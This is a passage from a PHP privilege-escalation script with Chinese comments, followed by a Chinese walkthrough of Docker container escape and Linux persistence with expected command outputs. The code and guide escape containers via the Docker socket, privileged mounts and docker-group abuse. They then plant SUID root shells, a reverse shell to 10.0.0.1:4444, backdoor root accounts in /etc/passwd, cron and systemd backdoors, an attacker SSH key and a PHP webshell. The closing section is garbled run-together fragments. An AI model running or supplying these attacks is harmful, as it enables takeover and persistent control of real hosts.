$this->printDanger("发现cri-o socket: /var/run/crio/crio.sock");
}
}
// 新增:通过设备文件逃逸
private function tryDeviceFileEscape() {
$this->printInfo("尝试通过设备文件逃逸...");
// 检查常见的设备文件
$devices = ['/dev/sda', '/dev/vda', '/dev/xvda', '/dev/nvme0n1'];
foreach ($devices as $device) {
if (file_exists($device)) {
$this->printWarning("发现设备文件: $device");
// 检查是否可以读取设备
list($output, $code) = $this->executeCommand("ls -l $device 2>/dev/null");
if (is_array($output) && !empty($output)) {
$this->printInfo("设备权限: " . $output[0]);
}
}
}
}
// 新增:交互式Docker逃逸自动化
private function interactiveDockerEscapeAutomation() {
$this->printInfo("=== 交互式Docker逃逸自动化 ===");
// 1. 自动检测环境
$this->printInfo("自动检测Docker环境...");
// 检查Docker版本
list($version, $code) = $this->executeCommand('docker --version 2>/dev/null');
if (is_array($version) && !empty($version)) {
$this->printSuccess("Docker版本: " . $version[0]);
}
// 检查当前用户权限
list($currentUser, $code) = $this->executeCommand('id');
if (is_array($currentUser) && !empty($currentUser)) {
$this->printInfo("当前用户权限: " . $currentUser[0]);
}
// 检查Docker组
list($groups, $code) = $this->executeCommand('groups');
if (is_array($groups) && !empty($groups)) {
if (in_array('docker', $groups) || strpos($groups[0], 'docker') !== false) {
$this->printSuccess("用户在docker组中,可以无需sudo使用Docker");
$this->tryDockerGroupExploit();
}
}
// 2. 自动选择逃逸方法
$this->printInfo("自动选择最佳逃逸方法...");
// 检查Docker socket权限
if (file_exists('/var/run/docker.sock')) {
$perms = substr(sprintf('%o', fileperms('/var/run/docker.sock')), -4);
if ($perms == '0666' || is_writable('/var/run/docker.sock')) {
$this->printSuccess("Docker socket可写,使用API逃逸");
$this->automatedDockerApiExploit();
}
}
// 检查特权模式
list($capEff, $code) = $this->executeCommand('cat /proc/self/status | grep CapEff');
if (is_array($capEff) && !empty($capEff)) {
if (strpos($capEff[0], '0000003fffffffff') !== false) {
$this->printSuccess("容器以特权模式运行,使用特权逃逸");
$this->automatedPrivilegedExploit();
}
}
// 检查挂载点
list($mounts, $code) = $this->executeCommand('mount 2>/dev/null');
if (is_array($mounts) && !empty($mounts)) {
foreach ($mounts as $mount) {
if (strpos($mount, '/host') !== false || strpos($mount, '/mnt') !== false) {
$this->printSuccess("发现宿主机挂载点,使用挂载逃逸");
$this->automatedMountExploit($mount);
break;
}
}
}
// 3. 自动验证逃逸结果
$this->printInfo("验证逃逸结果...");
$this->verifyDockerEscape();
}
// 新增:Docker组利用
private function tryDockerGroupExploit() {
$this->printInfo("尝试Docker组利用...");
// 直接运行容器挂载宿主机根目录
list($output, $code) = $this->executeCommand('docker run --rm -v /:/host alpine chroot /host bash -c "whoami" 2>/dev/null');
if (is_array($output) && !empty($output)) {
if ($output[0] === 'root') {
$this->printSuccess("Docker组利用成功,获得root权限");
// 创建持久化后门
list($output, $code) = $this->executeCommand('docker run --rm -v /:/host alpine chroot /host bash -c "cp /bin/bash /tmp/root_bash && chmod 4755 /tmp/root_bash" 2>/dev/null');
if ($code === 0) {
$this->printSuccess("持久化后门创建成功: /tmp/root_bash");
}
}
}
}
// 新增:自动化Docker API利用
private function automatedDockerApiExploit() {
$this->printInfo("自动化Docker API利用...");
// 1. 列出所有容器
list($containers, $code) = $this->executeCommand('curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 2>/dev/null');
if ($code === 0) {
$this->printSuccess("成功访问Docker API");
// 2. 创建特权容器
$this->tryCreatePrivilegedContainerAdvanced();
// 3. 启动容器
// 这里需要解析之前创建的容器ID,但在实际环境中需要更复杂的处理
$this->printInfo("容器创建完成,请手动启动容器以完成逃逸");
}
}
// 新增:自动化特权模式利用
private function automatedPrivilegedExploit() {
$this->printInfo("自动化特权模式利用...");
// 1. 创建挂载点
if (!is_dir('/host')) {
mkdir('/host', 0755, true);
}
// 2. 尝试挂载宿主机文件系统
$devices = ['/dev/sda1', '/dev/vda1', '/dev/xvda1', '/dev/nvme0n1p1'];
foreach ($devices as $device) {
if (file_exists($device)) {
list($output, $code) = $this->executeCommand("mount $device /host 2>/dev/null");
if ($code === 0) {
$this->printSuccess("成功挂载宿主机文件系统到/host");
// 3. 创建后门
$this->createHostBackdoor();
return;
}
}
}
// 4. 如果设备挂载失败,尝试挂载proc
list($output, $code) = $this->executeCommand('mount -t proc proc /host/proc 2>/dev/null');
if ($code === 0) {
$this->printSuccess("成功挂载宿主机proc文件系统");
}
}
// 新增:自动化挂载利用
private function automatedMountExploit($mountInfo) {
$this->printInfo("自动化挂载利用...");
// 从挂载信息中提取挂载点
if (preg_match('/on ([^ ]+) type/', $mountInfo, $matches)) {
$mountPoint = $matches[1];
$this->printInfo("利用挂载点: $mountPoint");
// 在挂载点创建后门
$this->createBackdoorAtPath($mountPoint);
}
}
// 新增:验证Docker逃逸
private function verifyDockerEscape() {
$this->printInfo("验证Docker逃逸结果...");
// 检查是否可以访问宿主机文件
list($etcPasswd, $code) = $this->executeCommand('cat /host/etc/passwd 2>/dev/null | head -1');
if (is_array($etcPasswd) && !empty($etcPasswd)) {
$this->printSuccess("成功访问宿主机文件系统");
$this->printInfo("宿主机/etc/passwd: " . $etcPasswd[0]);
}
// 检查是否可以访问宿主机进程
list($hostProcesses, $code) = $this->executeCommand('ps aux | grep -v container');
if (is_array($hostProcesses) && count($hostProcesses) > 10) {
$this->printSuccess("可以访问宿主机进程");
}
}
// 新增:在宿主机上创建后门
private function createHostBackdoor() {
$this->printInfo("在宿主机上创建后门...");
// 创建一个具有SUID位的shell
$backdoorScript = '#!/bin/bash\n/bin/bash -p';
if (file_put_contents('/host/tmp/host_shell', $backdoorScript) !== false) {
chmod('/host/tmp/host_shell', 04755);
$this->printSuccess("宿主机后门创建成功: /tmp/host_shell");
}
}
// 新增:在指定路径创建后门
private function createBackdoorAtPath($path) {
$this->printInfo('在' . $path . '路径创建后门...');
// 创建一个反向shell
$reverseShell = "#!/bin/bash\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &";
$shellPath = $path . '/tmp/path_shell';
if (file_put_contents($shellPath, $reverseShell) !== false) {
chmod($shellPath, 0755);
$this->printSuccess('路径后门创建成功: ' . $shellPath);
}
}
}
// 主程序
if (PHP_SAPI !== 'cli') {
die("此脚本必须在CLI模式下运行\n");
}
// 检查基本权限
if (!function_exists('exec')) {
die("exec函数被禁用,无法执行系统命令\n");
}
$scanner = new PrivilegeEscalationExploit();
$scanner->runFullExploit();
?>
检查是否存在/.dockerenv文件
# 检查命令 ls -la /.dockerenv # 预期输出(在容器中) -rwx------ 1 root root 0 Apr 1 10:00 /.dockerenv # 预期输出(不在容器中) ls: cannot access '/.dockerenv': No such file or directory # 失败的输出(无法确定是否在容器中) ls: Permission denied
检查是否存在/run/.containerenv文件
# 检查命令 ls -la /run/.containerenv # 预期输出(在容器中) -rwx------ 1 root root 123 Apr 1 10:00 /run/.containerenv # 失败的输出(不在容器中或无法访问) ls: cannot access '/run/.containerenv': No such file or directory
/proc/self/status中的CapEff字段
# 检查命令 cat /proc/self/status | grep CapEff # 特权模式下的预期输出 CapEff: 0000003fffffffff # 非特权模式下的预期输出 CapEff: 0000000000000000 # 失败的输出(无法读取文件) cat: /proc/self/status: Permission denied # 无法利用的情况: # 1. 容器以非特权模式运行 # 2. /proc文件系统被挂载为只读 # 3. SELinux/AppArmor策略限制访问
# 检查命令 mount | grep -E "(/host|docker.sock|/proc|/sys|/dev)" # 发现宿主机挂载的预期输出 /dev/sda1 on /host type ext4 (rw,relatime) # 发现Docker Socket挂载的预期输出 /var/run/docker.sock on /var/run/docker.sock type sock (rw,relatime) # 失败的输出(未发现敏感挂载点) (无输出) # 失败的输出(权限不足) mount: Permission denied # 无法利用的情况: # 1. 没有敏感目录挂载到容器中 # 2. 挂载点为只读 # 3. 挂载点被安全策略限制访问
# 检查命令 cat /proc/self/status | grep CapEff # 解码capabilities capsh --decode=0000003fffffffff # 预期输出 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read # 失败的输出(无法解码) Failed to decode # 无法利用的情况: # 1. 容器没有危险的capabilities # 2. capabilities被安全策略限制 # 3. capsh命令不可用
检查/var/run/docker.sock是否存在
# 检查命令 ls -la /var/run/docker.sock # 预期输出 srw-rw---- 1 root docker 0 Apr 1 10:00 /var/run/docker.sock # 失败的输出(文件不存在) ls: cannot access '/var/run/docker.sock': No such file or directory # 失败的输出(权限不足) ls: cannot access '/var/run/docker.sock': Permission denied
检查权限是否为0666或可写
# 检查命令 ls -l /var/run/docker.sock | awk '{print $1}' # 可写权限的预期输出 srw-rw-rw- # 不可写的输出 srw-rw---- # 失败的输出(无法访问) ls: cannot access '/var/run/docker.sock': Permission denied # 无法利用的情况: # 1. Docker Socket文件不存在 # 2. 当前用户不在docker组中且权限不足 # 3. SELinux/AppArmor策略阻止访问 # 4. Docker守护进程未运行
使用curl通过Unix Socket与Docker守护进程通信
# 列出容器命令 curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq . # 预期输出 [ { "Id": "abc123...", "Image": "ubuntu:latest", "Command": "/bin/bash", "State": "running", "Status": "Up 10 minutes" } ] # 失败的输出(连接失败) curl: (7) Couldn't connect to server # 失败的输出(权限不足) curl: (56) Recv failure: Connection reset by peer # 失败的输出(JSON解析失败) parse error: Invalid numeric literal at line 1, column 2 # 无法利用的情况: # 1. Docker守护进程未运行 # 2. Socket文件权限不足 # 3. SELinux/AppArmor阻止访问 # 4. Docker API版本不兼容
使用nc通过Unix Socket与Docker守护进程通信
# 列出容器命令 echo -e "GET /containers/json HTTP/1.0\r\n" | nc -U /var/run/docker.sock # 预期输出 HTTP/1.0 200 OK Content-Type: application/json Date: Sat, 01 Apr 2023 10:00:00 GMT Content-Length: 123 [{"Id":"abc123...","Image":"ubuntu:latest","Command":"/bin/bash","State":"running","Status":"Up 10 minutes"}] # 失败的输出(连接失败) Ncat: Connection refused. # 失败的输出(权限不足) Ncat: Permission denied. # 无法利用的情况: # 1. nc命令不可用 # 2. Socket文件权限不足 # 3. SELinux/AppArmor阻止访问
创建特权容器,将宿主机根目录挂载到容器内
# 创建特权容器的JSON配置 { "Image": "alpine", "Cmd": ["/bin/sh"], "Privileged": true, "HostConfig": { "Binds": ["/:/host"] } } # 创建容器命令 curl -s -X POST --unix-socket /var/run/docker.sock \ -H "Content-Type: application/json" \ http://localhost/containers/create \ -d '{"Image":"alpine","Cmd":["/bin/sh"],"Privileged":true,"HostConfig":{"Binds":["/:/host"]}}' # 预期输出 {"Id":"container_id","Warnings":[]} # 失败的输出(权限不足) {"message":"permission denied"} # 失败的输出(镜像不存在) {"message":"No such image: alpine"} # 失败的输出(JSON格式错误) {"message":"invalid character 'x' looking for beginning of value"} # 无法利用的情况: # 1. Docker守护进程配置禁止特权容器 # 2. 当前用户权限不足 # 3. SELinux/AppArmor策略阻止创建特权容器 # 4. 镜像仓库不可访问
创建挂载点(如/host)
# 创建挂载点命令 mkdir /host # 预期输出 (无输出表示成功) # 失败的输出(权限不足) mkdir: cannot create directory '/host': Permission denied # 失败的输出(目录已存在) mkdir: cannot create directory '/host': File exists
尝试挂载宿主机设备文件:
# 挂载命令 mount /dev/sda1 /host # 预期输出 (无输出表示成功) # 失败的输出(设备不存在) mount: /dev/sda1: can't find block device # 失败的输出(权限不足) mount: /host: must be superuser to use mount. # 失败的输出(设备被占用) mount: /dev/sda1 already mounted or /host busy # 失败的输出(文件系统不支持) mount: /dev/sda1: unknown filesystem type 'LVM2_member' # 无法利用的情况: # 1. 容器未以特权模式运行 # 2. /dev目录未正确挂载 # 3. SELinux/AppArmor阻止挂载操作 # 4. 设备文件不存在或类型不支持
挂载proc文件系统:mount -t proc proc /host/proc
# 挂载命令 mount -t proc proc /host/proc # 预期输出 (无输出表示成功) # 失败的输出(权限不足) mount: /host/proc: must be superuser to use mount. # 失败的输出(目录不存在) mount: mount point /host/proc does not exist # 无法利用的情况: # 1. 容器未以特权模式运行 # 2. 挂载点目录不存在 # 3. SELinux/AppArmor阻止挂载操作
挂载sysfs文件系统:mount -t sysfs sysfs /host/sys
挂载devtmpfs文件系统:mount -t devtmpfs devtmpfs /host/dev
检查/proc/self/root是否存在
# 检查命令 ls -la /proc/self/root # 预期输出 lrwxrwxrwx 1 root root 0 Apr 1 10:00 /proc/self/root -> / # 失败的输出(文件不存在) ls: cannot access '/proc/self/root': No such file or directory # 失败的输出(权限不足) ls: cannot read symbolic link '/proc/self/root': Permission denied
通过该路径访问宿主机文件系统
# 访问宿主机文件系统命令 ls -la /proc/self/root/etc # 预期输出 total 1540 drwxr-xr-x 80 root root 4096 Apr 1 10:00 . drwxr-xr-x 22 root root 4096 Apr 1 10:00 .. drwxr-xr-x 2 root root 4096 Apr 1 10:00 bin ... # 失败的输出(无法访问) ls: cannot access '/proc/self/root/etc': Permission denied # 失败的输出(路径不存在) ls: cannot access '/proc/self/root/etc': No such file or directory # 无法利用的情况: # 1. /proc文件系统被限制访问 # 2. SELinux/AppArmor阻止访问 # 3. 容器配置阻止了root路径访问
读取宿主机敏感文件如/etc/passwd
# 读取命令 cat /proc/self/root/etc/passwd | head -3 # 预期输出 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin # 失败的输出(权限不足) cat: /proc/self/root/etc/passwd: Permission denied # 失败的输出(文件不存在) cat: /proc/self/root/etc/passwd: No such file or directory
检查可用的容器运行时:
# 检查命令 which runc crun containerd # 预期输出 /usr/bin/runc /usr/bin/crun /usr/bin/containerd # 失败的输出(命令不存在) /usr/bin/which: no runc in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin) # 失败的输出(权限不足) which: cannot create /tmp/whichXXXXXX: Permission denied
检查相关socket文件:
# 检查命令 ls -la /run/containerd/containerd.sock /var/run/crio/crio.sock # 预期输出 srw-rw---- 1 root root 0 Apr 1 10:00 /run/containerd/containerd.sock ls: cannot access '/var/run/crio/crio.sock': No such file or directory # 失败的输出(权限不足) ls: cannot access '/run/containerd/containerd.sock': Permission denied
检查常见的设备文件:
# 检查命令 ls -la /dev/sda /dev/vda # 预期输出 brw-rw---- 1 root disk 8, 0 Apr 1 10:00 /dev/sda ls: cannot access '/dev/vda': No such file or directory # 失败的输出(权限不足) ls: cannot access '/dev/sda': Permission denied
尝试直接读取设备文件内容
# 读取MBR命令 dd if=/dev/sda of=mbr.bin bs=512 count=1 2>/dev/null # 预期输出 1+0 records in 1+0 records out 512 bytes copied, 0.000123 s, 4.1 MB/s # 失败的输出(权限不足) dd: failed to open '/dev/sda': Permission denied # 失败的输出(设备不存在) dd: failed to open '/dev/sda': No such file or directory # 无法利用的情况: # 1. 容器未以特权模式运行 # 2. /dev目录未正确挂载 # 3. SELinux/AppArmor阻止设备访问 # 4. 设备文件不存在
检查当前用户是否属于docker组
# 检查命令 groups # 预期输出 user docker adm sudo # 或者 id # 预期输出 uid=1000(user) gid=1000(user) groups=1000(user),999(docker),4(adm),27(sudo) # 失败的输出(不在docker组) user adm sudo # 失败的输出(权限不足) groups: cannot find name for group ID 1000
无需sudo即可使用Docker命令
# 测试命令 docker ps # 预期输出 CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES abc123def456 ubuntu "/bin/bash" 10 minutes ago Up 10 mins test_container # 失败的输出(权限不足) Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json: dial unix /var/run/docker.sock: connect: permission denied # 失败的输出(Docker未运行) Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running? # 无法利用的情况: # 1. 当前用户不在docker组中 # 2. Docker守护进程未运行 # 3. SELinux/AppArmor阻止访问
直接运行容器挂载宿主机根目录
# 挂载命令 docker run --rm -v /:/host alpine ls -la /host # 预期输出 total 88 drwxr-xr-x 22 root root 4096 Apr 1 10:00 . drwxr-xr-x 1 root root 4096 Apr 1 10:00 .. drwxr-xr-x 2 root root 4096 Apr 1 10:00 bin ... # 失败的输出(权限不足) docker: Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post http://%2Fvar%2Frun%2Fdocker.sock/v1.40/containers/create: dial unix /var/run/docker.sock: connect: permission denied. # 失败的输出(镜像不存在) Unable to find image 'alpine:latest' locally docker: Error response from daemon: pull access denied for alpine, repository does not exist or may require 'docker login': denied: requested access to the resource is denied. # 无法利用的情况: # 1. 当前用户不在docker组中 # 2. Docker守护进程配置禁止挂载根目录 # 3. SELinux/AppArmor阻止挂载操作 # 4. 镜像仓库不可访问
使用docker run -v /:/host命令
在挂载的目录中创建后门
# 创建后门命令 docker run --rm -v /:/host alpine sh -c 'echo "backdoor_user:x:0:0:root:/root:/bin/bash" >> /host/etc/passwd' # 验证后门 docker run --rm -v /:/host alpine cat /host/etc/passwd | grep backdoor_user # 预期输出 backdoor_user:x:0:0:root:/root:/bin/bash # 失败的输出(权限不足) sh: can't create /host/etc/passwd: Permission denied # 失败的输出(文件系统只读) sh: can't create /host/etc/passwd: Read-only file system # 无法利用的情况: # 1. /etc目录被挂载为只读 # 2. SELinux/AppArmor阻止文件修改 # 3. 文件系统权限限制
unshare -U
# 检查命令 unshare -U echo "user namespace works" # 预期输出 user namespace works # 失败的输出(不支持) unshare: unshare failed: Operation not permitted # 失败的输出(权限不足) unshare: cannot unshare: Permission denied # 无法利用的情况: # 1. 内核未启用用户命名空间 # 2. SELinux/AppArmor阻止命名空间创建 # 3. 系统配置禁用命名空间
unshare -m
# 检查命令 unshare -m echo "mount namespace works" # 预期输出 mount namespace works # 失败的输出(不支持) unshare: unshare failed: Operation not permitted # 无法利用的情况: # 1. 内核未启用mount命名空间 # 2. SELinux/AppArmor阻止命名空间创建
检查/sys/fs/cgroup目录是否存在
# 检查命令 ls -la /sys/fs/cgroup # 预期输出 total 0 dr-xr-xr-x 15 root root 320 Apr 1 10:00 . drwxr-xr-x 9 root root 0 Apr 1 10:00 .. dr-xr-xr-x 2 root root 0 Apr 1 10:00 blkio ... # 失败的输出(目录不存在) ls: cannot access '/sys/fs/cgroup': No such file or directory # 失败的输出(权限不足) ls: cannot read symbolic link '/sys/fs/cgroup': Permission denied
检查是否可写,可能存在逃逸机会
# 检查命令 touch /sys/fs/cgroup/test_file 2>/dev/null && echo "Writable" || echo "Not writable" # 可写的预期输出 Writable # 不可写的预期输出 Not writable # 失败的输出(权限不足) touch: cannot touch '/sys/fs/cgroup/test_file': Permission denied # 无法利用的情况: # 1. Cgroup目录不存在 # 2. SELinux/AppArmor阻止写入 # 3. 文件系统只读 # 4. 内核配置禁用相关功能
检查Docker版本
# 检查命令 docker --version # 预期输出 Docker version 20.10.14, build a224086 # 失败的输出(命令不存在) bash: docker: command not found # 失败的输出(权限不足) docker: Got permission denied while trying to connect to the Docker daemon socket
检查当前用户权限
# 检查命令 id # 预期输出 uid=1000(user) gid=1000(user) groups=1000(user),999(docker) # 失败的输出(权限不足) id: cannot find name for group ID 999
检查Docker组权限
# 检查命令 groups | grep docker # 预期输出 user docker adm sudo # 失败的输出(不在docker组) (无输出)
检查是否可以访问宿主机文件系统
# 验证命令 ls -la /host/etc/passwd # 预期输出 -rw-r--r-- 1 root root 2851 Apr 1 10:00 /host/etc/passwd # 失败的输出(无法访问) ls: cannot access '/host/etc/passwd': No such file or directory
检查是否可以访问宿主机进程
# 验证命令 ps aux | wc -l # 宿主机进程较多的预期输出 123 # 容器内进程较少的输出(表明仍在容器中) 5
在宿主机上创建具有SUID位的shell
# 创建后门命令 echo '#!/bin/bash\n/bin/bash -p' > /host/tmp/root_bash chmod 4755 /host/tmp/root_bash # 验证后门 ls -la /host/tmp/root_bash # 预期输出 -rwsr-xr-x 1 root root 30 Apr 1 10:00 /host/tmp/root_bash # 失败的输出(权限不足) chmod: changing permissions of '/host/tmp/root_bash': Operation not permitted # 失败的输出(目录不存在) bash: /host/tmp/root_bash: No such file or directory # 无法利用的情况: # 1. /tmp目录被挂载为只读 # 2. SELinux/AppArmor阻止SUID位设置 # 3. 文件系统不支持SUID位
示例:#!/bin/bash\n/bin/bash -p
在挂载点创建反向shell
# 创建反向shell命令 echo '#!/bin/bash\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &' > /host/tmp/reverse_shell chmod +x /host/tmp/reverse_shell # 验证后门 ls -la /host/tmp/reverse_shell # 预期输出 -rwxr-xr-x 1 root root 58 Apr 1 10:00 /host/tmp/reverse_shell # 失败的输出(权限不足) chmod: changing permissions of '/host/tmp/reverse_shell': Operation not permitted
示例:bash -i >& /dev/tcp/IP/PORT 0>&1 &
检查当前用户身份:whoami
# 检查命令 whoami # 预期输出 user # 失败的输出(命令不存在) bash: whoami: command not found
检查用户组信息:groups
# 检查命令 groups # 预期输出 user docker adm sudo # 失败的输出(权限不足) groups: cannot find name for group ID 1000
检查sudo权限:sudo -l
# 检查命令 sudo -l # 有sudo权限的预期输出 Matching Defaults entries: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User user may run the following commands on this host: (ALL : ALL) ALL # 无sudo权限的输出 [sudo] password for user: user is not in the sudoers file. This incident will be reported. # 失败的输出(sudo命令不存在) bash: sudo: command not found
检查可用的SUID/SGID文件:find / -perm -4000 2>/dev/null
# 检查命令 find / -perm -4000 2>/dev/null | head -5 # 预期输出 /usr/bin/passwd /usr/bin/newgrp /usr/bin/chsh /usr/bin/chfn /usr/bin/gpasswd # 失败的输出(权限不足) find: '/root': Permission denied find: '/etc/ssl/private': Permission denied # 失败的输出(find命令不存在) bash: find: command not found
读取敏感配置文件:
# 读取/etc/passwd cat /host/etc/passwd | head -3 # 预期输出 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin # 失败的输出(权限不足) cat: /host/etc/passwd: Permission denied # 失败的输出(文件不存在) cat: /host/etc/passwd: No such file or directory
写入后门文件:
# 在/etc/passwd中添加用户 echo 'backdoor:$1$backdoor$backdoorbackdoorbackdoorb0:0:0:root:/root:/bin/bash' >> /host/etc/passwd # 验证添加 tail -1 /host/etc/passwd # 预期输出 backdoor:$1$backdoor$backdoorbackdoorbackdoorb0:0:0:root:/root:/bin/bash # 失败的输出(权限不足) bash: /host/etc/passwd: Permission denied # 失败的输出(文件系统只读) bash: /host/etc/passwd: Read-only file system
检查内核版本:uname -a
# 检查命令 uname -a # 预期输出 Linux hostname 4.15.0-142-generic #146-Ubuntu SMP Tue Apr 13 01:12:12 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux # 失败的输出(命令不存在) bash: uname: command not found
检查可利用的内核漏洞:
# 检查Dirty COW (CVE-2016-5195) # 内核版本 < 4.8.3 可能受影响 # 检查Dirty Pipe (CVE-2022-0847) # 内核版本 5.8 <= version <= 5.16.11 可能受影响 # 检查PwnKit (CVE-2021-4034) # polkit 版本 < 0.105-31 可能受影响 # 失败的输出(无法确定版本) (无法获取相关信息)
编译并运行内核漏洞利用程序
# 编译Dirty COW利用程序 gcc -pthread dirtycow.c -o dirtycow # 运行利用程序 ./dirtycow /etc/passwd # 预期输出 [+] Exploit started [+] Exploit successful # 失败的输出(编译失败) dirtycow.c:1:2: error: #error "This is a test error" # 失败的输出(运行失败) [-] Exploit failed [-] Unable to exploit vulnerability # 无法利用的情况: # 1. 编译器不可用 # 2. 内核已修补相关漏洞 # 3. SELinux/AppArmor阻止利用 # 4. 利用程序与目标系统不兼容
查找系统中的SUID文件:find / -perm -4000 2>/dev/null
# 查找命令 find / -perm -4000 2>/dev/null | head -5 # 预期输出 /usr/bin/passwd /usr/bin/newgrp /usr/bin/chsh /usr/bin/chfn /usr/bin/gpasswd # 失败的输出(权限不足) find: '/root': Permission denied
利用常见的SUID文件提权:
# 利用bash -p bash -p # 预期输出 bash-4.4# id uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=1000(user),999(docker) # 失败的输出(bash无SUID位) $ id uid=1000(user) gid=1000(user) groups=1000(user),999(docker) # 利用find find . -exec /bin/sh -p \; -quit # 预期输出 $ id uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=1000(user),999(docker) # 失败的输出(find无SUID位) find: failed to execute /bin/sh: Permission denied # 无法利用的情况: # 1. SUID文件不存在或已被移除 # 2. SELinux/AppArmor阻止利用 # 3. 文件系统挂载选项阻止SUID执行
检查可写的定时任务:
# 检查可写的定时任务 ls -la /etc/cron* /var/spool/cron/crontabs/ # 可写的预期输出 -rw-r--r-- 1 root root 722 Apr 1 10:00 /etc/crontab -rw-rw-rw- 1 root root 0 Apr 1 10:00 /etc/cron.d/writable_cron # 失败的输出(权限不足) ls: cannot access '/etc/crontab': Permission denied # 失败的输出(目录不存在) ls: cannot access '/var/spool/cron/crontabs/': No such file or directory
创建定时任务后门:
# 添加root权限的定时任务 echo "* * * * * root echo 'backdoor_user:x:0:0:root:/root:/bin/bash' >> /etc/passwd" > /etc/cron.d/backdoor # 验证定时任务 cat /etc/cron.d/backdoor # 预期输出 * * * * * root echo 'backdoor_user:x:0:0:root:/root:/bin/bash' >> /etc/passwd # 失败的输出(权限不足) bash: /etc/cron.d/backdoor: Permission denied # 无法利用的情况: # 1. 定时任务目录不可写 # 2. SELinux/AppArmor阻止写入 # 3. cron服务未运行或被禁用
检查可写的服务配置文件
# 检查可写的服务配置文件 find /etc/systemd/system /lib/systemd/system -name "*.service" -writable 2>/dev/null # 可写的预期输出 /etc/systemd/system/vulnerable.service # 失败的输出(无匹配文件) (无输出) # 失败的输出(权限不足) find: '/etc/systemd/system': Permission denied
修改服务配置以执行恶意代码
# 修改服务配置 sed -i 's|ExecStart=.*|ExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &"|' /etc/systemd/system/vulnerable.service # 重启服务 systemctl restart vulnerable.service # 失败的输出(权限不足) sed: couldn't open temporary file /etc/systemd/system/sedXXXXXX: Permission denied # 失败的输出(systemctl命令不存在) bash: systemctl: command not found # 无法利用的情况: # 1. 服务配置文件不可写 # 2. systemd未运行或被禁用 # 3. SELinux/AppArmor阻止修改
创建具有SUID位的shell:chmod 4755 /tmp/backdoor
# 创建后门 cp /bin/bash /tmp/backdoor chmod 4755 /tmp/backdoor # 验证后门 ls -la /tmp/backdoor # 预期输出 -rwsr-xr-x 1 root root 1113504 Apr 1 10:00 /tmp/backdoor # 失败的输出(权限不足) chmod: changing permissions of '/tmp/backdoor': Operation not permitted # 无法利用的情况: # 1. /tmp目录被挂载为nosuid # 2. SELinux/AppArmor阻止SUID位设置
添加SSH公钥到authorized_keys文件
# 创建目录 mkdir -p /root/.ssh # 添加公钥 echo "ssh-rsa AAAAB3NzaC1yc2E... user@attacker" >> /root/.ssh/authorized_keys # 设置权限 chmod 700 /root/.ssh chmod 600 /root/.ssh/authorized_keys # 失败的输出(权限不足) bash: /root/.ssh/authorized_keys: Permission denied # 无法利用的情况: # 1. /root目录不可写 # 2. SELinux/AppArmor阻止写入 # 3. SSH服务被禁用或配置阻止密钥认证
创建webshell后门
# 创建webshell echo '<?php system($_REQUEST["cmd"]); ?>' > /var/www/html/shell.php # 验证webshell ls -la /var/www/html/shell.php # 预期输出 -rw-r--r-- 1 www-data www-data 35 Apr 1 10:00 /var/www/html/shell.php # 失败的输出(权限不足) bash: /var/www/html/shell.php: Permission denied # 无法利用的情况: # 1. Web目录不可写 # 2. SELinux/AppArmor阻止写入 # 3. Web服务未运行
设置定时任务维持访问
# 添加定时任务 echo "*/5 * * * * /tmp/backdoor" >> /var/spool/cron/crontabs/root # 验证定时任务 crontab -l # 预期输出 */5 * * * * /tmp/backdoor # 失败的输出(权限不足) bash: /var/spool/cron/crontabs/root: Permission denied # 无法利用的情况: # 1. 定时任务目录不可写 # 2. cron服务未运行 # 3. SELinux/AppArmor阻止修改
mount /dev/sda1 /hostecho 'backdoor_user:password_hash:0:0:root:/root:/bin/bash' >> /host/etc/passwdPermission denied、Operation not permittedNo such file or directorycommand not foundConnection refused、Connection timed outRead-only file system/.dockerenv文件/run/.containerenv文件/proc/self/status中的CapEff字段0000003fffffffff,表示容器以特权模式运行/host - 宿主机根目录挂载/var/run/docker.sock - Docker socket挂载/proc - Proc文件系统挂载/sys - Sys文件系统挂载/dev - 设备文件系统挂载cap_sys_admin - 系统管理权限,可用于挂载文件系统cap_sys_module - 加载内核模块cap_dac_read_search - 绕过文件读取权限cap_dac_override - 绕过文件写入权限cap_sys_ptrace - 调试其他进程/var/run/docker.sock是否存在/host)/dev/sda1/dev/vda1/dev/xvda1/dev/nvme0n1p1mount -t proc proc /host/procmount -t sysfs sysfs /host/sysmount -t devtmpfs devtmpfs /host/dev/proc/self/root是否存在/etc/passwdrunccruncontainerd/run/containerd/containerd.sock/var/run/crio/crio.sock/dev/sda/dev/vda/dev/xvda/dev/nvme0n1docker run -v /:/host命令unshare -Uunshare -m/sys/fs/cgroup目录是否存在#!/bin/bash\n/bin/bash -pbash -i >& /dev/tcp/IP/PORT 0>&1 